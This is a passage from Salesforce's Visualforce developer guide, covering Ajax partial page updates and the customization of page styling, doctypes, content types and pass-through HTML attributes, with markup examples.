One of the most widely used Ajax behaviors is a partial page update, in which only a specific portion of a page is updated following some user action, rather than a reload of the entire page.
The simplest way to implement a partial page update is to use the reRender
attribute on an
<apex:commandLink >
or
<apex:commandButton >
tag to identify a component that should be refreshed. When a user clicks the button or link, only the identified component and all of its child components are refreshed.
For example, consider the contact list example shown in
Getting and Setting Query String Parameters on a Single Page
on page 41. In that example, when a user clicks the name of a contact in the list to view the details for that contact, the entire page is refreshed as a result of this action. With just two modifications to that markup, we can change the behavior of the page so that only the area below the list refreshes:
1. First, create or identify the portion of the page that should be rerendered. To do this, wrap the
<apex:detail >
tag in an
<apex:outputPanel >
tag, and give the output panel an id
parameter. The value of id
is the name that we can use elsewhere in the page to refer to this area. It must be unique in the page.
2. Next, indicate the point of invocation (the command link) that we want to use to perform a partial page update of the area that we just defined. To do this, add a reRender
attribute to the
<apex:commandLink >
tag, and give it the same value that was assigned to the output panel's id
.
The final markup looks like this:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are displaying contacts from the {!account.name} account.
42
Getting a Quick Start with Visualforce Providing Status for Asynchronous Operations
Click a contact 's name to view his or her details.
</apex:pageBlock >
<apex:pageBlock title= "Contacts" >
<apex:form >
<apex:dataTable value= "{!account.Contacts}" var= "contact" cellPadding= "4" border= "1" >
<apex:column >
<apex:commandLink rerender= "detail" >
{!contact.Name}
<apex:param name= "cid" value= "{!contact.id}" />
</apex:commandLink >
</apex:column >
</apex:dataTable >
</apex:form >
</apex:pageBlock >
<apex:outputPanel id= "detail" >
<apex:detail subject= "{!$CurrentPage.parameters.cid}" relatedList= "false" title= "false" />
</apex:outputPanel >
</apex:page >
After saving the page, click any contact and notice how the detail component displays without a complete page refresh.
Note: You cannot use the reRender
attribute to update content in a table.
Providing Status for Asynchronous Operations
Ajax behaviors, such as partial page updates, are asynchronous events that occur in the background while a page user continues to work. For good usability, designers often add a status element to alert the user of any background activity currently in progress.
Visualforce supports status updates with the
<apex:actionStatus >
tag. This tag allows you to display text at the beginning or end of a background event with the startText
or stopText
attributes, or, for more advanced developers, allows you to display an image or other component.
For this example, we'll add status text to the contact list page that we have been developing. After a user clicks the name of a contact, the detail area displays the text, “Requesting...” while the detail area is rendered.
To implement the message, wrap
<apex:actionStatus >
around the
<apex:detail >
component, since that is the component being updated asynchronously. In between the two tags, add an
<apex:facet >
tag named “stop”.
A facet consists of content in an area of a Visualforce component that provides contextual information about the data that is presented in the component. For example,
<apex:dataTable >
supports facets for the header, footer, and caption of a table, while
<apex:column >
only supports facets for the header and footer of the column. The
<apex:facet >
component allows you to override the default facet on a Visualforce component with your own content. Facets only allow a single child within the start and close tags.
Note:
Not all components support facets. Those that do are listed in the
.
In the following example,
<apex:actionStatus >
supports a facet named “stop” that contains the component that should be displayed as soon as the action completes—in this case, the detail area:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are displaying contacts from the {!account.name} account.
Click a contact 's name to view his or her details.
43
Getting a Quick Start with Visualforce Applying Ajax Behavior to Events on Any Component
</apex:pageBlock >
<apex:pageBlock title= "Contacts" >
<apex:form >
<apex:dataTable value= "{!account.Contacts}" var= "contact" cellPadding= "4"
<apex:column > border= "1" >
<apex:commandLink rerender= "detail" >
{!contact.Name}
<apex:param name= "cid" value= "{!contact.id}" />
</apex:commandLink >
</apex:column >
</apex:dataTable >
</apex:form >
</apex:pageBlock >
<apex:outputPanel id= "detail" >
<apex:actionStatus startText= "Requesting..." >
<apex:facet name= "stop" >
<apex:detail subject= "{!$CurrentPage.parameters.cid}" relatedList= "false" title= "false" />
</apex:facet >
</apex:actionStatus >
</apex:outputPanel >
</apex:page >
Remember when you visit this page, to include an ID as part of the URL. For example, https://
Salesforce_instance
/apex/ajaxAsyncStatus?id=001x000xxx3Jsxb
Applying Ajax Behavior to Events on Any Component
Using command links and buttons to implement a partial page update is relatively simple, but suppose you want to have the same page update occur just by hovering the mouse over a contact's name?
To do this with the contact list example, remove the
<apex:commandLink >
tag from the data table and wrap the contact name in an
<apex:outputPanel >
tag instead. Within this output panel, add an
<apex:actionSupport >
element as a sibling of the contact's name:
•
The
<apex:outputPanel >
tag defines the area over in which we want the specialized behavior.
•
The
<apex:actionSupport >
tag defines the partial page update behavior that was implemented previously by the command link.
–
The event
attribute specifies the DOM event that should trigger the update. Whereas
<apex:commandLink >
only executes during the “onclick” event,
<apex:actionSupport >
can execute on any valid event such as “onclick”, “ondblclick”, or, for this example, “onmouseover”.
–
The reRender
attribute specifies which part of the page should refresh.
–
The
<apex:param >
tag sets the value of the cid
query string parameter when the specified event occurs.
The resulting markup looks like this:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are displaying contacts from the {!account.name} account.
Mouse over a contact 's name to view his or her details.
</apex:pageBlock >
44
Getting a Quick Start with Visualforce Applying Ajax Behavior to Events on Any Component
<apex:pageBlock title= "Contacts" >
<apex:form >
<apex:dataTable value= "{!account.Contacts}" var= "contact" cellPadding= "4" border= "1" >
<apex:column >
<apex:outputPanel >
<apex:actionSupport event= "onmouseover" rerender= "detail" >
<apex:param name= "cid" value= "{!contact.id}" />
</apex:actionSupport >
{!contact.Name}
</apex:outputPanel >
</apex:column >
</apex:dataTable >
</apex:form >
</apex:pageBlock >
<apex:outputPanel id= "detail" >
<apex:actionStatus startText= "Requesting..." >
<apex:facet name= "stop" >
<apex:detail subject= "{!$CurrentPage.parameters.cid}" relatedList= "false" title= "false" />
</apex:facet >
</apex:actionStatus >
</apex:outputPanel >
</apex:page >
After saving the page, move the mouse over any contact and notice that the detail area refreshes appropriately without clicking on it.
SEE ALSO:
Using JavaScript in Visualforce Pages
45
CHAPTER 4
Customizing the Appearance and Output of
Visualforce Pages
Visualforce pages and components output HTML that’s sent to the browser for rendering. Visualforce’s HTML generation is sophisticated, automatically providing page structure, contents, and styling. Visualforce also provides a number of ways to alter Visualforce’s default
HTML, substitute your own, or associate additional resources, such as CSS stylesheets or JavaScript files, with a page.
Styling Visualforce Pages
It’s easy to style a Visualforce page, either by mimicking the look and feel of a standard Salesforce page, or by using your own stylesheets or content types.
Many Visualforce components have a style
or styleClass
attribute. Defining either of these attributes allows you to associate
CSS code with the component. Custom CSS code enables you to change the default visual style of a component, including its width, height, color, and font.
Using Salesforce Styles
Many Visualforce components already have the look and feel of the same components in Salesforce, such as the related list in a detail page, or a section header. Part of the styling of these components, including the component’s color scheme, is based on the tab on which the component appears. You can specify the tab style that should be used to style a component by associating a page with a standard controller, or by setting the tabStyle
attribute on the
<apex:page >
or
<apex:pageBlock >
tags.
•
When you use a standard controller with a Visualforce page, your new page takes on the style of the associated object’s standard tab in Salesforce. It also allows you to access the methods and records associated with the associated object.
•
When you use a custom controller, the tabStyle
attribute of an
<apex:page >
tag allows you to mimic the look and feel of the associated Salesforce page. If you only want portions of the page to be similar to a Salesforce page, you can use the tabStyle attribute on the
<apex:pageBlock >
tag. For an example, see
Defining Getter Methods on page 117.
Extending Salesforce Styles with Stylesheets
Use the
<apex:stylesheet >
tag to add additional stylesheets to a page. Use the style
or styleClass
attribute available on most Visualforce components to connect them to style definitions in your stylesheets. This technique lets you extend the Salesforce styles with your own.
The following markup shows a very basic page. The
<apex:stylesheet >
tag references a CSS stylesheet that is saved as a static resource named TestStyles and listed on the Static Resources page. It’s referenced by the
$Resource
global variable in the
<apex:stylesheet >
tag’s value
attribute. The styleClass
attribute of the
<apex:outputText >
tag uses the sample style class defined in the style sheet.
<apex:page >
<apex:stylesheet value= "{!$Resource.TestStyles}" />
46
Customizing the Appearance and Output of Visualforce Pages Using Custom Styles
<apex:outputText value= "Styled Text in a sample style class" styleClass= "sample" />
</apex:page >
This is the style sheet used for this example.
.sample { font-weight: bold;
}
Using Custom Styles
Use the
<apex:stylesheet >
tag or static HTML to include your own style sheet or styles.
For HTML tags, you can define inline CSS code, just like in a regular HTML page.
<apex:page >
<style type= "text/css" > p { font-weight: bold; }
</style >
<p >This is some strong text!
</p >
</apex:page >
This example references a style sheet that is defined as a static resource. First, create a style sheet and upload it as a static resource named customCSS.
h1 { color: #f00; } p { background-color: #eec; } newLink { color: #f60; font-weight: bold; }
Next, create a page that refers to this static resource.
<apex:page showHeader= "false" >
<apex:stylesheet value= "{!$Resource.customCSS}" />
<h1 >Testing Custom Stylesheets </h1 >
<p >This text could go on forever...
<br/ > <br/ >
But it won 't!</p>
<apex:outputLink value= "http://www.salesforce.com" styleClass= "newLink" >
Click here to switch to www.salesforce.com
</apex:outputLink >
</apex:page >
Tip: If you’re not using Salesforce styles, you can shrink your page size by preventing the standard Salesforce style sheets from loading. To prevent loading, set the standardStylesheets
attribute on the
<apex:page >
component to false.
<apex:page standardStylesheets= "false" >
<!-- page content here -->
</apex:page >
If you don’t load the Salesforce style sheets, components that require them don’t display correctly.
Visualforce components that produce HTML have pass-through style
and styleClass
attributes. These attributes allow you to use your own styles and style classes to control the look and feel of the resulting HTML. style
allows you to set styles directly on a
47
Customizing the Appearance and Output of Visualforce Pages Suppressing the Salesforce User Interface and Styles component, while styleClass
lets you attach classes for styles defined elsewhere. For example, the following code sets the class of the
<apex:outputText >
and applies a style.
<apex:page >
<style type= "text/css" >
.asideText { font-style: italic; }
</style >
<apex:outputText style= "font-weight: bold;" value= "This text is styled directly." />
<apex:outputText styleClass= "asideText" value= "This text is styled via a stylesheet class." />
</apex:page >
To apply a style using a DOM ID, use CSS attribute selectors for the style definition. See
Defining Styles for a Component’s DOM ID on
page 49.
If you intend to use images in your style sheet, zip the images with the CSS file, and upload the file as a single static resource. For example, suppose your CSS file has a line like the following.
body { background-image: url( "images/dots.gif" ) }
Combine the entire images
directory and the parent CSS file into a single zip file. In this example, the zip file resource name is myStyles.
<apex:stylesheet value= "{!URLFOR($Resource.myStyles, 'styles.css')}" />
Warning:
If a style sheet has an empty string in a url
value, you can’t render that page as a PDF. For example, the style rule body { background-image: url( "" ); }
prevents any page that includes the rule from being rendered as a PDF.
Suppressing the Salesforce User Interface and Styles
By default, Visualforce pages adopt the same visual styling and user interface “chrome” as the rest of Salesforce. This makes it easy for you to create pages that look like they’re built right into Salesforce. If you don’t want a page to have the Salesforce look and feel, you can suppress various aspects of the Salesforce page and visual design.
It’s easy to create pages with a different look and feel. You can change the page-level user interface resources added by Visualforce using the following attributes on the
<apex:page >
component.
•
sidebar
—Set to false
to suppress the standard sidebar. Removing the sidebar gives your page a wider canvas. For example, you can show more columns in a table.
This attribute doesn’t affect the rest of the Salesforce look and feel. You can continue to use components like
<apex:pageBlock >
,
<apex:detail >
, and
<apex:inputField >
that render with Salesforce user interface styling.
•
showHeader
—Set to false
to suppress the standard Salesforce page design. The header, tabs, and sidebar are removed, along with their associated style sheets and JavaScript resources. You have a blank page ready to fill in with your own user interface.
It does not, however, suppress all the style sheets that provide the Salesforce visual design. Visualforce components that you add to the page continue to adopt the Salesforce visual design.
•
standardStylesheets
—Set to false
, along with setting showHeader
to false
, to suppress the inclusion of the style sheets that support the Salesforce visual design. When you suppress the standard style sheets, your page is completely unstyled, except for your own style sheets.
48
Customizing the Appearance and Output of Visualforce Pages Defining Styles for a Component’s DOM ID
Note: If you don’t load the Salesforce style sheets, components that require them don’t display correctly.
Setting this attribute to false
has no effect if showHeader
isn’t also set to false
.
Defining Styles for a Component’s DOM ID
Use CSS attribute selectors for the style definition if you want to apply a style using a DOM ID. Attribute selectors rely on the definition of an attribute, rather than an HTML tag, to apply a CSS style.
You can set the id
value on any Visualforce component to set its DOM ID. However, the id
in the rendered HTML is usually preprended with the id
of parent components, as part of Visualforce’s automatic ID generation process. For instance, the actual HTML id
of the following code is j_id0:myId
:
<apex:page >
<apex:outputText id= "myId" value= "This is less fancy." />
</apex:page >
Your CSS should take this into consideration by using an attribute selector:
<apex:page >
<style type= "text/css" >
[id*= myId] { font-weight: bold; }
</style >
<apex:outputText id= "myId" value= "This is way fancy !" />
</apex:page >
This selector matches any DOM ID that contains “myId” anywhere within the ID, so the id
you set on a Visualforce component should be unique on the page if you intend to use it for styling purposes.
Using Styles from Salesforce Stylesheets
Salesforce uses different stylesheets (.css files) throughout the application to ensure that every tab conforms to the Salesforce look and feel. These stylesheets are automatically included on a Visualforce page unless you specify false
for the showHeader
attribute of the
<apex:page >
tag.
Warning:
Salesforce stylesheets aren’t versioned, and the appearance and class names of components change without notice.
Salesforce strongly recommends that you use Visualforce components that mimic the look-and-feel of Salesforce styles instead of directly referencing—and depending upon—Salesforce stylesheets.
When you disable the inclusion of the Salesforce stylesheets, only your custom stylesheets affect the styling of the page. For the purposes of building up styles that partially or fully match the Salesforce look and feel, you might want to look at and use selected contents from the default stylesheets.
The following stylesheets contain style classes you can reference. They are located in the
/dCSS/
directory of your Salesforce instance.
•
dStandard.css
– Contains the majority of style definitions for standard objects and tabs.
•
allCustom.css
– Contains style definitions for custom tabs.
Important: Salesforce doesn’t provide notice of changes to or documentation of the built-in styles. Use at your own risk.
49
Customizing the Appearance and Output of Visualforce Pages Identifying the Salesforce Style Your Users See
Identifying the Salesforce Style Your Users See
When you’re creating a Visualforce page, it’s often useful to know the Salesforce look and feel your user expects, in order to render a page that matches their style. For example, some users have the choice to customize their look and feel. You’ll need to design your
Visualforce pages to take these differences into consideration.
There are two global variables that can help you identify which style a user sees:
$User.UITheme
and
$User.UIThemeDisplayed
. The difference between the two variables is that
$User.UITheme
returns the look and feel the user is supposed to see, while
$User.UIThemeDisplayed
returns the look and feel the user actually sees. For example, a user may have the preference and permissions to see the Lightning Experience look and feel, but if they are using a browser that doesn’t support that look and feel, for example, older versions of Internet Explorer,
$User.UIThemeDisplayed
returns a different value.
Both variables return one of the following values:
•
Theme1
—Obsolete Salesforce theme
•
Theme2
—Salesforce Classic 2005 user interface theme
•
Theme3
—Salesforce Classic 2010 user interface theme
•
Theme4d
—Modern “Lightning Experience” Salesforce theme
•
Theme4t
—Salesforce1 mobile Salesforce theme
•
PortalDefault
—Salesforce Customer Portal theme
•
Webstore
—Salesforce AppExchange theme
Suppose a developer has hard coded some CSS styles to resemble Salesforce. In order to preserve the same look and feel on the Visualforce page for new styles, the developer needs to select between several stylesheets to handle the preferences of the user. The following example shows one possible way of accomplishing this:
<apex:page standardController= "Account" >
<apex:variable var= "newUI" value= "newSkinOn" rendered= "{!$User.UIThemeDisplayed = 'Theme3'}" >
<apex:stylesheet value= "{!URLFOR($Resource.myStyles, 'newStyles.css')}" />
</apex:variable >
<apex:variable var= "oldUI" value= "oldSkinOn" rendered= "{!$User.UIThemeDisplayed != 'Theme3'}" >
<apex:stylesheet value= "{!URLFOR($Resource.myStyles, 'oldStyles.css')}" />
</apex:variable >
<!-- Continue page design -->
</apex:page >
Notice in this example that:
•
Using the rendered
attribute you can “toggle” which sections display.
•
Since the
<apex:stylesheet >
tag doesn't have a rendered
attribute, you’ll need to wrap it in a component that does.
Even if a new look and feel is enabled for your users, they may not be running the right browser or accessibility settings to see it. Here’s a code example that makes use of the
$User.UITheme
variable to present alternate information to the user:
<apex:page showHeader= "true" tabstyle= "Case" >
<apex:pageMessage severity= "error" rendered= "{!$User.UITheme = 'Theme3' &&
$User.UIThemeDisplayed
!= 'Theme3' } ">
We 've noticed that the new look and feel is enabled for your organization.
However, you can 't take advantage of its brilliance. Please check with your administrator for possible reasons for this impediment.
</apex:pageMessage >
50
Customizing the Appearance and Output of Visualforce Pages HTML Comments and IE Conditional Comments
<apex:ListViews type= "Case" rendered= "{!$User.UITheme = 'Theme3' &&
$User.UIThemeDisplayed = 'Theme3' } "/>
</apex:page >
Notice that although
$User.UITheme
equals
Theme3
,
$User.UIThemeDisplayed
doesn’t, and so the page won’t render to its full potential.
HTML Comments and IE Conditional Comments
Visualforce removes most HTML and XML comments from the page before rendering, without processing their contents. Internet Explorer conditional comments, however, won’t be removed, allowing you to include IE-specific resources and meta tags.
Internet Explorer conditional comments are most commonly used to address browser compatibility issues, generally with older versions of IE. Although conditional comments work wherever they’re used on the page, they’re frequently placed inside the page’s
<head > tags, where they can be used to include version-specific stylesheets or JavaScript compatibility “shims.”
To place conditional comments inside a page’s
<head >
tag, disable the standard Salesforce header, sidebar, and stylesheets, and add your own
<head >
and
<body >
tags:
<apex:page docType= "html-5.0" showHeader= "false" standardStylesheets= "false" >
<head >
<!-- Base styles -->
<apex:stylesheet value= "{!URLFOR($Resource.BrowserCompatibility, 'css/style.css')}" />
/>
<!--[if lt IE 7]>
<script type="text/javascript" src="{!URLFOR($Resource.BrowserCompatibility, 'js/obsolete-ie-shim.js')}>
</script>
<link rel="stylesheet" type="text/css" href="{!URLFOR($Resource.BrowserCompatibility, 'css/ie-old-styles.css')}"
<![endif]-->
<!--[if IE 7]>
<link rel="stylesheet" type="text/css" href="{!URLFOR($Resource.BrowserCompatibility, 'css/ie7-styles.css')}" />
<![endif]-->
</head >
<body >
<h1 >Browser Compatibility </h1 >
<p >It 's not just a job. It' s an adventure.
</p >
</body >
</apex:page >
Visualforce doesn’t support or evaluate Visualforce tags, for example,
<apex:includeScript/ >
, within standard HTML comments.
However, it will evaluate the following expressions within IE conditional comments:
•
Global variables, such as
$Resource
and
$User
•
The
URLFOR()
function
See Microsoft’s documentation for Internet Explorer conditional comments for further details of how to use them.
51
Customizing the Appearance and Output of Visualforce Pages HTML Tags Added or Modified by Visualforce
HTML Tags Added or Modified by Visualforce
By default, Visualforce automatically adds required HTML tags to a page to ensure the result is a valid HTML (and XML) document. You can relax and even override this behavior.
For pages using this automatic behavior, Visualforce adds HTML tags in two contexts: a simpler
GET
request context, when a page is initially loaded and rendered; and a
POSTBACK
context, when an
<apex:form >
is submitted back, an Ajax request is made using an
<apex:action XXX>
tag, and so on.
In a
GET
context, the HTML rendered by Visualforce is somewhat relaxed. It adds
<html >
tags to wrap the page,
<head >
tags to wrap the page’s title and any stylesheets or scripts added to the page using
<apex:stylesheet >
or
<apex:includeScript >
, and
<body >
tags to wrap the page’s content.
HTML generated by other Visualforce tags will be complete and valid HTML, and you can’t save a Visualforce page with invalid static
XML. However, HTML added by expressions that access controller methods, sObject fields, and other non-Visualforce sources isn’t validated by Visualforce before it’s returned. It’s therefore possible to return an invalid XML document via a
GET
request.
In a
POSTBACK
context, Visualforce is more strict. Because the contents of the request might need to be inserted into an existing DOM, the response HTML is post-processed to ensure it’s valid. This “tidying” fixes missing and unclosed tags, removes invalid tags or attributes, and otherwise cleans up invalid HTML so that it will insert cleanly into the DOM of any page it’s returned back to. This behavior is intended to ensure that tags that update an existing DOM, such as
<apex:actionHandler >
, work reliably.
Relaxed Tidying for the HTML5 Doctype
To relax the default HTML tidying for HTML5 applications where it causes problems, set the docType
to “html-5.0” and the API version to 28.0 or greater.
Beginning in API version 28.0, the tidying behavior for Visualforce pages with docType= "html–5.0"
changed for the
POSTBACK context, so that HTML5 tags and attributes aren’t stripped away. Visualforce always validates the XML correctness of every page when it’s saved, and requires that the page be well-formed XML, but post-process tidying no longer removes unknown tags or attributes for
POSTBACK
requests. This should make it much easier to work with HTML5 and JavaScript frameworks that use HTML attributes extensively.
It’s worth remembering that while modern browsers are very good at doing their own tidying, that behavior is less consistent than rendering valid markup. Reduced HTML tidying in html–5.0
mode represents a smaller safety net, in return for significantly increased flexibility. We recommend you use this relaxed tidying mode only on HTML5 pages that need it, and with HTML validation and debugging tools in hand.
Note: In API version 28.0 or greater, the scope of how the docType
is determined for a page is different. When child pages are added to a root page using
<apex:include >
, if any page in the hierarchy is set to docType= "html–5.0"
and the root page is set to API version 28.0 or later, the entire page hierarchy is rendered in html–5.0
mode.
Manually Override Automatic
<html >
and
<body >
Tag Generation
Use the applyHtmlTag
and applyBodyTag
attributes of the
<apex:page >
tag to suppress the automatic generation of
<html >
and
<body >
tags, in favor of static markup you add to the page yourself.
Here’s an example that illustrates how to do this:
<apex:page showHeader= "false" sidebar= "false" standardStylesheets= "false" applyHtmlTag= "false" applyBodyTag= "false" docType= "html-5.0" >
<html >
52
Customizing the Appearance and Output of Visualforce Pages Creating an Empty HTML5 “Container” Page
<body >
<header >
<h1 >Congratulations!
</h1 >
</header >
</article >
</body >
</html >
<article >
<p >This page looks almost like HTML5!
</p >
</apex:page >
The attributes act independently of each other; you can use them in any combination of true
, false
, or unset. When both attributes are set to true
, the default, automatic generation of
<html >
and
<body >
tags is preserved. When either is set to false
, you are fully responsible for adding the corresponding tags to your markup. In this mode, Visualforce won’t prevent you from creating nonsense tag combinations or attributes that give even modern browsers fits.
Note: A
<head >
section is always generated if required, regardless of the values for applyHtmlTag
and applyBodyTag
.
For example, a
<head >
tag is generated if you use
<apex:includeScript >
or
<apex:stylesheet >
tags, set the page title
, and so on.
There’s one exception to this rule. If applyHtmlTag
is set to false
and there are no other elements in the page except for
<apex:includeScript >
, no
<head >
is generated. For example, the following code automatically adds
<body >
tags, but doesn’t add a
<head >
section:
<apex:page showHeader= "false" applyHtmlTag= "false" >
<html >
<apex:includeScript value= "//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" />
</html >
</apex:page >
This behavior shouldn’t cause problems for real-world pages.
The applyHtmlTag
attribute is available on the
<apex:page >
tag for Visualforce pages set to API version 27.0 or higher. The applyBodyTag
attribute is available on the
<apex:page >
tag for Visualforce pages set to API version 28.0 or higher. They both have the following additional restrictions:
•
The showHeader
attribute must be set to false
for the page, for example,
<apex:page showHeader= "false" >
.
•
The contentType
attribute must be set to “text/html” (the default).
•
The values for the top level, or outermost,
<apex:page >
tag are used; applyHtmlTag
and applyBodyTag
attributes on pages added using the
<apex:include >
tag are ignored.
Creating an Empty HTML5 “Container” Page
Use an empty container page when you want to bypass most of Visualforce and add your own markup. A container page is especially useful for HTML5 and mobile development, and other web apps for which standard Visualforce output isn’t desired.
You use Remote Objects, JavaScript remoting, or other Force.com APIs to make service requests and then render the results with
JavaScript.
The following code provides a sample container page to start with.
<apex:page docType= "html-5.0" applyHtmlTag= "false" applyBodyTag= "false" showHeader= "false" sidebar= "false" standardStylesheets= "false"
53
Customizing the Appearance and Output of Visualforce Pages Using a Custom Doctype title= "Unused Title" >
<html >
<head >
<title >HTML5 Container Page </title >
</head >
<body >
<h1 >An Almost Empty Page </h1 >
<p >This is a very simple page.
</p >
</body >
</html >
</apex:page >
The
<apex:page >
component and its attributes is the core of a container page’s definition.
•
docType= "html-5.0"
sets the page to use the modern HTML5 docType.
•
applyHtmlTag= "false"
and applyBodyTag= "false"
tell Visualforce that your markup supplies the
<html >
and
<body >
tags so that it doesn’t generate its own.
Note: When you set applyHtmlTag
or applyBodyTag
to false, the title
attribute of the
<apex:page > component is ignored.
•
The showHeader= "false"
, sidebar= "false"
, and standardStylesheets= "false"
attributes suppress the standard header, sidebar, and style sheets that add the Salesforce user interface and visual design to Visualforce pages.
The
<head >
tag isn’t required in a container page, but it’s a good idea to include it. If you need to add values to the
<head >
element, you must add the
<head >
tag yourself. In that case, Visualforce adds any of its required values to your
<head >
. Otherwise, Visualforce renders its own
<head >
to add any necessary values.
You can use Visualforce components, such as
<apex:includeScript >
,
<apex:stylesheet >
, and
<apex:image >
, to reference static resources on the page. The output of
<apex:includeScript >
and
<apex:stylesheet >
is added to the
<head >
element. If you didn’t include one, Visualforce adds its own. The
<apex:image >
output is rendered wherever you place it on the page.
Note: An “empty” Visualforce page renders the minimum amount of HTML markup, but it isn’t completely empty, or free of resources you don’t control. JavaScript code that’s essential for Visualforce, such as instrumentation, is still added. Visualforce also automatically adds resources required for markup you add. For example, references to Remote Objects or JavaScript remoting resources, if you use them in your code.
Using a Custom Doctype
You can specify a different “doctype” (document type, or DTD) for a Visualforce page by using the docType
attribute on the
<apex:page >
tag. This changes the doctype declaration at the beginning of the page. This is particularly useful if you’re working with HTML5, and might also allow you to address browser compatibility issues.
By default, Visualforce pages are served with a doctype of HTML 4.01 Transitional. Specifically, pages begin with this doctype declaration:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd" >
You can specify a different doctype for a Visualforce page by using the docType
attribute on the
<apex:page >
tag.
54
Customizing the Appearance and Output of Visualforce Pages Using a Custom ContentType
The docType
attribute takes a string representing the document type. The format of the string is:
<doctype>-<version>[-<variant>] where
•
doctype
is either html
or xhtml
•
version
is a decimal version number valid for the doctype
•
variant
, if included, is:
–
strict
, transitional
, or frameset
for all html
document types and the xhmtl-1.0
document type, or
–
<blank> or basic
for the xhmtl-1.1
document type
If an invalid document type is specified, the default doctype is used. For more information about valid HTML doctypes, see the list at the
W3C website .
Note: In API 28.0 and greater, the scope of how the docType
is determined for a page depends on the entire page hierarchy, not just the main page. When pages are added to the main page using the
<apex:include >
tag, if any page in the hierarchy is set to docType= "html-5.0"
, the entire page hierarchy is rendered in that mode.
Custom Doctype Example
To create a Visualforce page with an XHTML 1.0 Strict document type, use the docType
attribute on the
<apex:page >
tag, and specify a value of xhtml-1.0-strict
:
<apex:page docType= "xhtml-1.0-strict" title= "Strictly XHTML" showHeader= "false" sidebar= "false" >
<h1 >This is Strict XHTML!
</h1 >
<p >
Remember to close your tags correctly: <br/ >
<apex:image url= "/img/icon-person.gif" alt= "Person icon" />
</p >
</apex:page >
Note:
Visualforce doesn’t alter markup generated by components to match the doctype, nor the markup for standard Salesforce elements such as the header and sidebar. Salesforce elements are valid for most doctypes and function properly with any doctype, but if you choose a strict doctype and wish to pass an HTML validation test, you might need to suppress or replace the standard
Salesforce elements.
Using a Custom ContentType
You can specify a different format for a Visualforce page by using the
ContentType
attribute on the
<apex:page >
tag. This sets the
Content-Type
HTTP header for the response to the value of the page’s
ContentType
attribute.
The
ContentType
attribute takes a Multipurpose Internet Mail Extension (MIME) media type as a value, such as application/vnd.ms-excel
, text/csv
, or image/gif
.
Note:
Browsers can behave unpredictably if you set an invalid
ContentType
. For more information about valid MIME media types, see http://www.iana.org/assignments/media-types/ .
55
Customizing the Appearance and Output of Visualforce Pages Setting Custom HTML Attributes on Visualforce Components
Microsoft Excel ContentType Example
To display Visualforce page data in a Microsoft Excel spreadsheet, use the contentType
attribute on the
<apex:page >
tag, and specify a value of application/vnd.ms-excel
.
on page 37.
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/myPage?id=001D000000JRBet -->
<apex:pageBlock title= "Contacts" >
<apex:pageBlockTable value= "{!account.Contacts}" var= "contact" >
<apex:column value= "{!contact.Name}" />
<apex:column value= "{!contact.MailingCity}" />
<apex:column value= "{!contact.Phone}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
To display this page in Excel, add the contentType
attribute to the
<apex:page >
tag, as follows:
<apex:page standardController= "Account" contentType="application/vnd.ms-excel">
<apex:pageBlock title= "Contacts" >
<apex:pageBlockTable value= "{!account.Contacts}" var= "contact" >
<apex:column value= "{!contact.Name}" />
<apex:column value= "{!contact.MailingCity}" />
<apex:column value= "{!contact.Phone}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
If the page doesn’t display properly in Excel, try a different MIME type, such as text/csv
.
Setting Custom HTML Attributes on Visualforce Components
You can add arbitrary attributes to many Visualforce components that are “passed through” to the rendered HTML. This is useful, for example, when using Visualforce with JavaScript frameworks, such as jQuery Mobile, AngularJS, and Knockout, which use data-*
or other attributes as hooks to activate framework functions.
Pass-through attributes can also be used to improve usability with HTML5 features such as placeholder
“ghost” text, pattern client-side validation, and title
help text attributes.
Important:
The behavior of HTML5 features is determined by the user’s browser, not Visualforce, and varies considerably from browser to browser. If you want to use these features, test early and often on every browser and device you plan to support.
To add a pass-through attribute to, for example, an
<apex:outputPanel >
component, prefix the attribute with “html-” and set the attribute value as normal.
<apex:page showHeader= "false" standardStylesheets= "false" doctype= "html-5.0" >
<apex:outputPanel layout= "block" html-data-role="panel" html-data-id="menu">
<apex:insert name= "menu" />
56
Customizing the Appearance and Output of Visualforce Pages Setting Custom HTML Attributes on Visualforce Components
</apex:outputPanel >
<apex:outputPanel layout= "block" html-data-role="panel" html-data-id="main">
<apex:insert name= "main" />
</apex:outputPanel >
</apex:page >
This produces the following HTML output.
<!DOCTYPE HTML>
<html >
<head > ...
</head >
<div id= "..." data-id="menu" data-role="panel">
<!-- contents of menu -->
</div >
<div id= "..." data-id="main" data-role="panel">
<!-- contents of main -->
</div >
</html >
Every attribute that begins with “html-” is passed through to the resulting HTML, with the “html-” removed.
Note: Pass-through attributes that conflict with built-in attributes for the component generate a compilation error.
Pass-through attributes are supported by the following Visualforce components.
•
<apex:column >
•
<apex:commandButton >
•
<apex:commandLink >
•
<apex:component >
•
<apex:dataTable >
•
<apex:form >
•
<apex:iframe >
•
<apex:image >
•
<apex:includeScript >
•
<apex:input >
•
<apex:inputCheckbox >
•
<apex:inputField >
•
<apex:inputHidden >
•
<apex:inputSecret >
•
<apex:inputText >
•
<apex:inputTextarea >
•
<apex:messages >
•
<apex:outputField >
•
<apex:outputLabel >
•
<apex:outputLink >
57
Customizing the Appearance and Output of Visualforce Pages Offline Caching Using the HTML5 manifest Attribute
•
<apex:outputPanel >
•
<apex:outputText >
•
<apex:page >
•
<apex:pageBlock >
•
<apex:pageBlockButtons >
•
<apex:pageBlockSection >
•
<apex:pageBlockSectionItem >
•
<apex:pageBlockTable >
•
<apex:panelBar >
•
<apex:panelBarItem >
•
<apex:panelGrid >
•
<apex:sectionHeader >
•
<apex:selectCheckboxes >
•
<apex:selectList >
•
<apex:selectOption >
•
<apex:selectOptions >
•
<apex:selectRadio >
•
<apex:stylesheet >
•
<apex:tab >
•
<apex:tabPanel >
For additional information about individual components, including the specifics of where pass-through attributes are added to their
rendered HTML, see Standard Component Reference on page 347.
To create HTML markup that can’t be generated using components that support pass-through attributes, combine Visualforce tags with static HTML. For example, to create a jQuery Mobile listview
, combine the
